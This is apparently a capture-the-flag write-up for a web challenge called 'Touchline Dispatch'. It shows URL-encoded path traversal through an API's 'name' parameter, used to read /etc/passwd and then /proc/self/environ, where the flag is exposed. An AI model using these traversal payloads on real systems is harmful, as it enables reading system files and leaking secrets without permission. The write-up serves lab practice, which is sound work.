Touchline Dispatch

300 points. The page was a soccer-themed desk with two API hints: /api/library lists documents, /api/view?name=... opens one. The list was requested first.

ffcurl http://54.72.82.22:8300/api/library

{"items":["schedule.txt","welcome.txt"]}

Both documents opened normally:

ffcurl "http://54.72.82.22:8300/api/view?name=schedule.txt"

{"text":"The gates open at six.\n"}

ffcurl "http://54.72.82.22:8300/api/view?name=welcome.txt"

{"text":"Welcome to the club.\n"}

The name parameter was the weak point. A plain ../../etc/passwd was blocked, while the encoded form passed:

ffcurl "http://54.72.82.22:8300/api/view?name=..%2f..%2fetc%2fpasswd"

{"text":"root:x:0:0:root:/root:/bin/bash\n..."}

Absolute paths also worked, so the process environment was requested directly:

ffcurl "http://54.72.82.22:8300/api/view?name=/proc/self/environ"

{"text":"PATH=...\u0000HOSTNAME=b51b638f3ddb\u0000FLAG=safctf{276928973c4dea42f63d808ba7be66b7}\u0000..."}

Flag:

safctf{276928973c4dea42f63d808ba7be66b7}

The document names can be skipped once the encoded traversal succeeds, proceeding straight to /proc/self/environ. The library listing exists only to show the endpoint shape.